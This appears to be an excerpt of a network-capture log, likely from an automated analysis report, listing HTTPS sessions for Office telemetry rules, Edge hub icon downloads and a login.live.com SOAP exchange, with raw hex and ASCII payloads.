2024-11-20 07:09:25 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-20 07:09:25 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-20 07:09:25 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-20 07:09:25 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-20 07:09:25 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070925Z-r1d97b99577hsvhhhC1TEByb1w00000002sg00000000agfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49863	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:25 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: d2f483fd-201e-0052-2e1b-3b75f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070925Z-185f5d8b95crl6swhC1NYC3ueg0000000a4g0000000000vn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49859	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:25 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ed73dd0d-d01e-006e-40d9-3ac12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070925Z-185f5d8b95c96jn4hC1NYCbgp800000009v000000000dqsm Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49861	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:25 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 14d50bcb-801e-0054-7c1b-3b828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070925Z-185f5d8b95csp6jmhC1NYCwy6s00000009tg00000000eep9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49862	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:25 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 7d75949a-801e-0032-4e1b-3b30d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070925Z-1777c6cb754whff4hC1TEBcd6c00000007tg00000000gyp9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49860	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:25 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:25 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 8573f691-e01e-0022-541b-3b0631000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070925Z-185f5d8b95cx9g8lhC1NYCtgvc000000028g000000007q6e Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49864	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:25 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 07:09:25 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 07:09:25 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 07:08:25 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: cc8baea6-6826-45b4-88e3-ab2dcc494b14 PPServer: PPV: 30 H: PH1PEPF00018BC9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:25 GMT Connection: close Content-Length: 11389
2024-11-20 07:09:25 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:25 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f8feafe0-e01e-0020-2afa-3ade90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070925Z-r1d97b99577n5jhbhC1TEB74vn00000008d000000000evtz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
